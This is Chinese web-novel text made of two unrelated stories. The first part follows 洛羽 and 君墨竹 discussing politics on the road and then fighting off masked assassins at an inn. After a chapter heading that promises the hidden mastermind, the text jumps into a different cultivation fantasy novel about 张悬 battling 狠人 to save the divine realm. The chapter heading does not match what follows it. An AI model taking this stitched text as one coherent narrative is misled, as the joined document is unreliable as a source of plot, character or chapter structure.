开玩笑,君家王家联姻,谁敢怠慢?脑袋不要了?
洛羽坐在马车里,身形摇摇晃晃:
“哎,我说你见过你未来的妻子没啊?”
“没有。”
君墨竹低着个头:“只知道叫王青青,王家独女,据说长得很文静,有大家闺秀之风。”
“哎,你说说这叫什么事。”
洛羽不能理解,为什么要和一个素未谋面的女子过一辈子。
“罢了,我无所谓。”
君墨竹坦然一笑:
“父母之命媒妁之言,只要能让父亲开心,让君家安定,这点事不算什么。男子汉大丈夫嘛,眼中岂能只有儿女情长?当然得胸怀大志!”
“大志?”
洛羽眉头一挑:“我很好奇,君兄的志向为何?”
君墨竹嬉笑一声,就像是在开玩笑:
“哈哈哈,我可有鸿鹄之志!只不过说出来怕洛兄笑话,就先不说了。”
洛羽白了他一眼,在自己面前还整得神神秘秘。
“不过我觉得眼下最迫切的事情还是该让三州一统,军政大权集于一人。”
君墨竹沉声道:
“此次大战让我明白一件事,陇西三州的边军是有能力与羌人一战的,但三州合则胜、分则败。”
“朝廷不是已经指派了一位巡阅使来考察节度使的人选了吗。”
洛羽饶有兴趣的笑道:“此事你怎么看?”
“哼,朝廷想的哪里是三州一统,而是想彻底控制陇西罢了!”
君墨竹缓缓道来:
“各地节度使都手握重兵、实力雄厚,大多对朝廷的命令阳奉阴违,但陇西三州一直处于分裂状态,各自为政,并无主事之人,意味着三州不能拧成一股绳,这岂不是朝廷掌控陇西的好机会?”
“你是这么看的?”
洛羽大为惊讶,君墨竹的看法倒是很独到。
“京城方面对上官熙就任节度使的呼声最高,我查过他的背景,出自底层,先是在别家当幕僚而后获得提拔当官,一路摸爬滚打数十年步入朝堂中枢,颇有手段,心计狠厉。”
君墨竹接着说道:
“为何朝堂中意让他当节度使?很简单,因为他没有背景!
君、洛、王三家不管谁当这个节度使都是地头蛇,难道朝廷会指望陇西本地士族乖乖听他们的话吗?扶植三家当节度使有何好处?
但是上官熙不一样,他没有背景、没有根基、没有属于自己的兵权,他就算当了节度使也得依靠朝廷的力量稳住陇西各方势力,他自然而谈会听朝廷的话。
所以明面上朝廷是为了统筹对外战事才设立陇西节度使一职,实际上是想借这个幌子彻底将陇西的军政大权收回去!”
“有道理。”
洛羽的表情很凝重,照君墨竹这么说的话上官熙出任节度使的可能性最大啊。
洛羽突然话锋一转,饶有趣味地说道:“君兄的消息似乎一直很灵通啊?”
不管是之前的云阳关战事还是与李家开战,君墨竹都精准的提供了各地城主的情报,帮了自己大忙。现在他连朝堂上的消息都能打听到,一定有不为人知的情报来源!
君墨竹顿了一下,抬头轻笑:
“告诉洛兄一个秘密,这些年我在君家不能染指兵权、也不好过多插手官场,做生意我又没兴趣,所以我培养了很多谍子,蛰伏在各地,专门帮我打探消息。
世家大族的婢女、酒楼客栈的小厮、街头巷尾卖货的商贩都可能是我的谍子。
不管是战争还是官场,我认为情报都很重要,以前我帮着君家解决过不少敌人,靠的是什么?靠的正是这些情报!”
果然!
洛羽心中的想法得到了证实,他就说嘛,君墨竹这些年待在君家总不至于一事无成吧。
“洛兄,此事是我最大的秘密。”
君墨竹沉声道:
“除了你,再无旁人知晓,就连我父亲都不知道。”
洛羽愕然无比,随即面色凝重地表示:
“放心,如此机密我绝不会外传!”
“不,我并非此意。”
君墨竹沉声道:
“将秘密告诉洛兄是因为我想告诉你,墨竹和你诚心相交,洛兄是我唯一的朋友!
节度使一职或许会让三家发生纠纷、斗争,但日后不管发生什么,我君墨竹始终都视洛兄为知己!不会有一丝一毫的欺瞒!”
洛羽竟然有些感动,同时又有些同情他。
生于大世家,到处都是尔虞我诈、钩心斗角,朋友二字对他是何其难啊。
洛羽坦然一笑,轻轻一拍他的肩膀:
“和君兄成为知己,此生一大幸事!”
……
众人慢悠悠地赶路,足足花了小半个月才进入并州境内,实际上骑兵若是纵马疾驰,数天就能到并州城。
但君墨竹偏要慢慢走,就像是在游山玩水,其实洛羽明白,君墨竹这是在麻痹自己,不去想成亲这件事,所以他也耐心陪着。
骑队停在一个岔路口,这里有座三层高的阁楼,挑着个布帘在风中晃啊晃,歪歪扭扭地写着几个字:三岔客栈。
岳伍环视周围,荒郊野岭的,除了这家客栈外也见不到其他村落:
“眼看天就要黑了,今日就在这歇了吧。”
“好。”许韦大咧咧地招呼众人下马:“原地休息!今夜就住这!”
店里的掌柜听到马蹄声赶忙迎了出来,见到这么多披甲军卒的时候吓了一跳,哆哆嗦嗦地问道:
“军,军爷,小店是犯什么事了吗?”
身形略显肥胖的掌柜一直在发抖,后面几个店小二也缩着脑袋不敢抬头。
许韦皱着眉头:
“我说你个大老爷们怎么吓成这样,我们像是坏人吗?住店,我们住店!”
“原来是住店啊。”
掌柜的这才松了口气,但面色有些为难:
“军爷,小店粗陋,无甚好酒菜,恐怕招待不了众位军爷,要不你们换别家?”
岳伍随手扔出一小包银子:
“放心吧,不会缺你银子,客栈我们包了,不要再让旁人住店。”
岳伍太了解他在想什么了,许多当兵的住店都不给钱,还大吵大闹坏了酒楼的生意,他们一向是避之不及。
沉甸甸的银子入手,掌柜的立马振奋起来,欢呼道:
“来啊,快帮军爷们牵马!”
“记得要用上好的精饲料!饿着战马你就倒大霉了!”
“放心放心,小人一定有最好的饲料!”
“来人,快上好酒好菜,快点!”
上至掌柜下至店小二个个乐得合不拢嘴,只有肯付银子,那他们自然乐得招待,一出手就包了整家客栈可是大手笔啊!
日落西山,并州大地渐渐被黑夜所笼罩。
客栈门口的灯笼在风中摇晃,投下忽明忽暗的光影,远处的树丛沙沙作响,仿佛藏着无数双眼睛。
晚风拂拂,丛林里树梢晃动,宛如有鬼魅穿行。
密密麻麻的黑衣人陡然探出头来,人人目如鹰隼,手中握着一把明晃晃的大刀。
为首一人目光凌厉,冷冷问了一句:
“确定是他们吗?”
“一定是!小人看得真切!”
黑纱蒙着的面庞似乎勾起了一抹阴笑:
“总算是等到你们了。”
第253章深夜刺杀
月黑风高,杀人夜。
三岔客栈的外围是一道用黄土、木板夯筑起来的围墙,毕竟陇西之地流寇众多,打家劫舍的事情时有发生,一道土墙勉强能防些小毛贼。
近百道黑影在夜色中穿行,迅速贴近墙面,几名好手跃出人群,三下五除二就翻过了低矮的院墙继而从里面打开了院门,看守在门口的店小二还在打呼噜,突然就感觉有一只粗糙的手掌按住了自己的嘴巴:
“唔!”
从睡梦中惊醒的店小二瞳孔一缩,犹如见了鬼一般。
“我问你答,如果敢乱喊乱叫老子就宰了你!听到了吗!”
冷厉的眼眸外加冰冷的刀锋吓得店小二魂不附体,拼了命地点头。
“今天有一批当兵的入住客栈,领头的几个人住在哪儿?”
“住,住在三楼最里面的厢房。”
“其他那些兵呢?”
“二楼三楼所有房间都是他们的兵,一楼有几名军卒看守,说是不需要我们照看。”
“你没有撒谎吧?若是敢骗我,我定会让你求生不得,求死不能。”
“没,绝无半字谎言!”
“很好。”
“嗤!”
黑衣人冷笑一声,连眼睛都没眨一下,一刀割开了他的咽喉,下手极为狠辣。
领头模样的男子面无表情的说道:
“先解决一楼的人,然后直接去三楼,都给我记住,今夜的目标就是杀了洛羽和君墨竹,绝对不能失手!”
“诺!”
夜色中传来了低沉的喝声,几道身影鬼鬼祟祟地朝店里摸去。一楼大厅灯火通明,四五名值夜的军卒正四仰八叉地靠在墙角呼呼大睡,哈喇子流了一脸。其中有一人便是许韦,他和岳伍身为亲兵营的正副将军,每天都要轮番守夜。
桌上还散落着一些酒瓶子,缕缕酒香味弥漫在空气中,这群人看起来像是喝多了酒,睡过去了。
领头的黑衣人讥讽一笑,手掌在虚空中做出了一个抹脖子的手势:
“还以为名震三州的阙州有何了不得之处,原来也是一群酒囊饭袋。”
“去,宰了他们!”
一名黑衣人拎着刀蹑手蹑脚地朝许韦走了过去,那呼噜声和打雷一样,感觉连耳膜都在发颤。这家伙伸手朝许韦的嘴巴捂过去、一手握刀贴向他的咽喉。
就在手掌即将捂住许韦嘴巴的那一刻,呼噜声突然停了,许韦就这么睁开了眼,冷冷地看着他。
四目相对,分外诡异。
冰冷的眼神让黑衣人如坠冰窖,一股危险的感觉在心底翻滚,还不等他挥刀,一柄短小的匕首就狠狠捅进了他的肚皮,噗嗤一声鲜血飞溅。
“噗嗤!”
鲜血堵住了黑衣人的咽喉,目光是那么的绝望。
许韦鄙夷道:
“还真以为老子睡着了?不装睡还真怕你们不敢进来!”
“动手!”
“铛铛铛!”
“嗤嗤嗤!”
其他几名熟睡中的亲兵也陡然暴起,将逼近身前的黑衣人尽数斩杀,刀法无比凌厉。
其实院门口的动静他们听到了,但许韦不明敌情没有贸然外出,就想出了装睡这一招拖延时间,同时派人去叫醒楼上的同袍。
突然倒地毙命的同伴令黑衣头领怒目圆睁:
“妈的,敢骗我们,杀,一个不留!”
“就凭你们?”
许韦一脚踢翻了桌椅,满脸讥讽:“我倒要看看,是谁敢袭击阙州持节令的车驾!”
“你找死!”
领头黑衣人的身手也异常凶悍,脚掌一跺、身形前冲,径直扑向许韦,一柄大刀在空中急速飞舞,甚至带出了阵阵破风声。
“铛!”
许韦反手拔出腰刀,刀锋在烛火下划出一道寒芒,一刀与此人对拼在一起,巨大的反震力逼得黑衣人连连后退,整条手臂都麻了,黑衣人的表情终于变得凝重起来。
接着许韦转身又是一刀,将侧面扑来的杀手瞬间劈成两截:
“什么货色,也敢来袭击我们!”
“杀!”
二楼传来一阵急促的脚步声,紧接着便是“划拉”一声巨响,数十名亲兵涌入战场,别看他们刚刚从睡梦中醒来,不少人还盯着惺忪的睡眼,可刀法一如既往的狠辣。
为首的岳伍手持苍刀,如猛虎下山般跃入战圈。一刀精准地刺入一名黑衣人的咽喉,然后横挥砸出,势大力沉的一刀径直逼退三名企图靠近身侧的刺客。
“这群家伙是什么人?”
“不知道啊。”
“那就杀了吧,记得留个活口。”
“好!”
许韦咧嘴一笑,手中苍刀如臂使指,一个斜劈便将面前的黑衣人连人带剑劈成两半。
整座客栈顿时变成了充斥着刀光剑影的战场,杀声震天。
黑衣刺客虽然人数众多,但阙州亲兵个个都是百里挑一的好手,不费吹灰之力就将黑衣人杀得节节败退。木桌被劈成碎片,酒坛碎裂,酒水混合着鲜血在地板上流淌。
当然了,黑衣人的人数优势只是暂时的,随着越来越多的亲兵从睡梦中醒来,战场形势急转直下,甚至有亲兵直接从二楼窗台跳下,反过来堵住了黑衣人的退路,来了个反包围。
“妈的,怎么打成这样!”
糟糕的局面令领头的黑衣人面色铁青,怒吼一声:
“分兵拖住他们,其他人跟我往三楼冲!先完成任务!”
这群杀手虽然打不过阙州亲兵,但号令极为严明,一路阻敌一路往三楼冲去。在同伴们的拼死阻击之下,十几人总算顺着楼梯冲上了三楼。
一名身形壮硕的黑衣人刚刚冒头,陡然就有一支箭矢划破夜色:
“嗖!”
“噗嗤!”
锋利的箭头毫无迟滞地洞穿了他的咽喉,鲜血飞溅,尸体重重地往地上一栽,三楼的景象更是让一众黑衣人目瞪口呆。
狭长的走廊里站满了披甲亲卫,一张张冷漠的面庞就像是看傻子一样看着他们,泛着寒芒的弯刀待会儿就要砍在他们的身上。
黑衣杀手们绝望了。
洛羽和君墨竹的房间在最里面,也就是说他们得把这么多披甲士卒全杀掉才能找到此行的刺杀目标。
怎么可能?
岳伍冰冷的喝声回荡在客栈上空:
“杀!”
……
最深处的厢房里,洛羽和君墨竹相对而坐,耳中回荡着激烈的兵器碰撞声以及撕心裂肺的惨叫。
君墨竹眉头紧皱,脸色不太好看。
“你该不会怕了吧?”
洛羽轻笑一声,泰然自若:
“好歹你也是跟着我上过战场上的,尸山血海的场面你都见过,区区一次截杀有什么好担心的。放心吧,有小伍他们在,没有人能过得来。”
“不是怕,而是我在想何人会刺杀你我。”
君墨竹喃喃道:
“早不动手,晚不动手,偏偏刚进入并州地界的时候动手。这时机,耐人寻味啊。”
洛羽默然不语,但眼眸中闪过一道寒芒!
第254章神秘的幕后主使
灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。
就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。
为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊!
“灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!”
狠人道。
灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难?
“原来如此……”张悬目光一闪。
“和你说这么多,也算感谢将我带到神界了!”
解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。
“张悬,黑洞吞的越多,他的实力越强……”
洛若曦也发现了不对劲,急忙传音过来。
“准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!”
轰隆!
最强大的剑意,再次施展而出。
生当复来归,死当长相思!
生死皆不在乎,又有何事可以阻拦?
这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。
呼!
一剑将狠人的攻击,斩成两半。
同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。
她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。
“你们的招数是很厉害,但对比我,还是差了些……”
轻轻一笑,狠人再次向下抓来。
一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。
噗!噗!
张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。
以二人的实力,竟然抵挡不住!
这家伙到底达到了何种境界?
“放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。
远远看去,逼格十足。
炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。
一拳扬起,力量冲上九天。
和狠人对碰,同样倒飞而出,挡不住一招。
张悬捂住额头。
成就帝君了,分身依旧不改装逼的本性……
这么绚丽的装逼,还不如将力量集中起来,威力更大!
“一起出手,不然,他们死了,我们都会死……”
小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。
剩下六大帝君,也各自施展手段。
七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。
嘭嘭嘭嘭!
七位帝君和张悬等人一样,倒飞而出。
十大帝君,联合在一起,竟然都没挡住对方一招!
这家伙,怎么会这么强大?
“你们可以死了……”
一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。
“鼠辈敢尔!”
伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。
“帝君?他也是帝君实力?”
张悬瞳孔一缩。
这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者!
如果他是帝君,那位青年,是什么?
“他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。
“那……传我剑法的青年呢?”张悬再也忍不住。
“他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。
张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。
“哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!”
将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。
“怎么办?”张悬拳头捏紧。
刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招……
难道神界,真的没人能够挡住眼前这位?
任由他将世界毁灭?
“唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。
“回归天道本身?”张悬知道她的意思。
脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。
就好像人体的免疫系统。
免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。
只是……
“他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。
病毒,免疫系统是可以斩杀,但……猛虎呢?
再强的免疫系统,又有什么办法?
眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。
“这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!”
“他?”张悬皱眉。
“我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。
“想逃?”狠人冷哼,向下一按。
嘭!
洛若曦从空中坠落。
“你……”张悬剑法再次施展出来,剑意辉煌而出。
叮叮叮!
再次被狠人挡住。
“你们快走,我来挡住他……”
知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。
四周的空间凝固起来。
“走!”
见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。
自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。
“你说的他,在哪里?”
没空去观察普通人的生活,张悬看向怀中的女孩。
如果她说的那人,真能拯救神界,自己牺牲又何妨!
“他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。
“父亲?”
张悬恍然大悟。
难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。
这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。
“你父亲也是帝君?或者拥有超越帝君的实力?”
忍不住道。
图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大?
如果是这样的话,又为何会昏迷?
又需要天道有缺,才能让其清醒?
“他不是帝君,而是……天道!”
洛若曦秀拳捏紧。
“天道?你父亲……是天道?”张悬一震,不敢相信。
“是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。”
洛若曦道。
张悬恍然。
名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。
竟然是她父亲,而且还是神界天道!
天道真的能够化成人形,并且生儿育女吗?
“代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。
代为掌控,和自己这种融合在体内,是两种概念。
“我只是掌控,并不是天道的一部分……”洛若曦道。
张悬松了口气。
这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。
尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。
“我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。
“这……我也不确定……”
抬头看了看已经崩塌的神界,洛若曦迟疑。
神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗?
真不好说!
“看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!”
“孔师?他……”洛若曦皱眉。
“孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!”
张悬道。
看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。
可以做到胎中不迷。
再加上提前留下的后手,复活,只是时间问题。
洛若曦愣住,似乎她没想到,会是这样。
“过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。
孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。
必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做!
而这种重要的事,明显就是让孔师恢复。
“这……”洛若曦心中一震,恍然大悟。
“走吧!”
不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!”
不是孔师,又是何人!
这位万世之师,果然没让自己失望!
和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。
“你……”洛若曦娇躯一震。
她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快!
“我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!”
孔师微微一笑。
他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。
几十年的时光,都有了。
“我们三人的实力,是很强,但想要胜过狠人,也没那么容易……”
见孔师果真恢复,洛若曦依旧摇头。
不是涨他人威风,灭自己志气,而是事实。
刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何?
同样改变不了局面!
“我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?”
孔师笑着看过来。
“融合在一个人身上?”
这次不光洛若曦皱眉,张悬也满是疑惑。
“那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……”
孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!”
“如何集中?”
洛若曦看过来。
说的简单,做起来难。
帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。
“很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!”
孔师道。
“我?”张悬一愣:“为什么是我?”
“灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!”
孔师道。
洛若曦说不出话来。
战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。
“无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……”
孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……”
当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。
“所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!”
孔师继续道。
生当复来归,死当长相思!
连死亡都不在乎,又怎么会被其他事情所羁绊?
“这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!”
“好吧!”
见对方已经做出决定,自己解释再多也无用,张悬点了点头。
轰隆!
盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。
张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。
灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。
……
“你们也想拦我?也好,杀了你们,再去将张悬斩杀……”
将洛七七和分身等人拍飞,狠人冷冷一笑。
分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。
潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。
此时的狠人,仿佛代表了整个神界,无人能挡。
“神界灭亡,我们活着也没意义,我云螭,与你同归于尽……”
云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。
“就你?不配!”
狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。
“老友,等我!”
扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。
不死帝君,不死火凤本尊显示出来,火焰照耀天空。
玄冥大帝,本尊乃一头大龟,宛如托举着诸天。
四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。
乾坤仿佛在瞬间定住。
嘭嘭嘭嘭!
连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……”
咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。
“想要杀他们,问过我没有……”
随即,众人震惊的目光中,一个人影从空中缓步走了出来。
正是张悬!
此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。
“进步了不少……”
狠人停了下来,目光凝重。
他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。
“不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……”
一声冷哼,狠人再次拍落而下。
张悬长剑扬起,迎了上来。
双方战斗在一起,空间一道道撕裂,气流四处乱窜。
“张悬能不能获胜?”
自在天孔师驻地,洛若曦满是担忧的看过去。
她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。
不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。
“凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!”
沉默了片刻,孔师道。
十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。
之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我!
“超越帝君的力量?”
洛若曦眼神悠远。
父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗?
“他一定能……他有着一颗不屈的心!和对这个世界的傲然。”
看出她心中的疑问,孔师笑道。
……
嘭嘭嘭!
连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。
和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。
“哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。
“反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。
“好,我成全你,给你最强的攻击……”
听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。
哗啦!
一道青光出现在掌心,猛地拍落而下。
果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。
双眼紧闭,张悬并未躲避。
嘭!
脑袋炸裂开来,灵魂四处溃散。
“张悬……”看到这一幕,所有人都脸色一白。
洛七七宛如发疯。
云螭大帝等人也瞪大眼睛,不停哆嗦。
看到这一幕的孔师和洛若曦也全都一愣。
本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死?
这样,岂不辜负了他们的一番好心?
“不对,是不死帝君的不死之法……”
正在奇怪,孔师突然开口。
众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。
“他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?”
洛若曦瞳孔收缩。
浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道!
“他怎么做到的?”
孔师也满是不敢相信。
天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。
眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法?
“我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。
灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。
绑定了灵魂,不死不会脱离。
但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。
这才故意拼死,让其施展出最强力量对他攻击。
借助这种力量,浴火重生,没想到,果然大获成功!
“原来如此,这才是突破帝君的方法……”
从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。
刹那间,与自身完美融合。
一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。
脚掌在地上轻轻一踏。
混乱的九天,立刻稳定下来。
九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。
不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。
“主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!”
面带微笑,张悬喃喃自语。
天道图书馆脱离灵魂的刹那,他明白过来。
是人看了世界,才有了世界,还是先有世界,后有了人?
是风动,还是心动!
这个问题,亘古不朽的困扰着无数人。
当然,现在……这些都不重要了!
没有生命,没有情感,世界就算存在,又有何意义?
所以,突破爱情之后,是众生情!是交织天下的情感。
世间万物皆有情感,有情才有世界,有情感,才能延续生命。
爱,是情。
憎,是情。
高兴,是情。
痛苦,是情。
离别,是情。
相聚,也是情!
“万千情意,为我所用……”
一声低呼,张悬体内禁锢的境界,瞬间破开。
帝君桎梏,突破了!
一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。
无数混沌之气,涌了过来,肉身也飞速提升。
之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。
“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。
